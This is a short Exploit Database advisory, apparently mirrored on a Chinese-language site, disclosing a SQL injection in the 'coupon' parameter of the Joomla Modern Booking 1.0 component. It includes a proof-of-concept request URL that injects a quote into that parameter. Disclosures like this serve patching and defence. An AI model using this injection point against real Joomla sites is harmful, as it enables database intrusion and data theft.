Joomla! Component Modern Booking 1.0 – ‘coupon’ SQL Injection

• Exploit Database
• 122 阅读

• 作者： Hamed Izadi
  日期： 2017-03-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41673/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  ############################################################################################### # Exploit Title: Joomla Modern Booking- SQL Injection   # Author: [ Hamed Izadi ]   #IRAN   # Vendor Homepage : https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/ # Vendor Homepage : https://www.unikalus.com/ # Category: [ Webapps ] # Tested on: [ Ubuntu ] # Versions: 1.0 # Date: March 22, 2017     # PoC: # coupon Parameter Vulnerable To SQLi   # Demo: # https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking     #L u Arg ###############################################################################################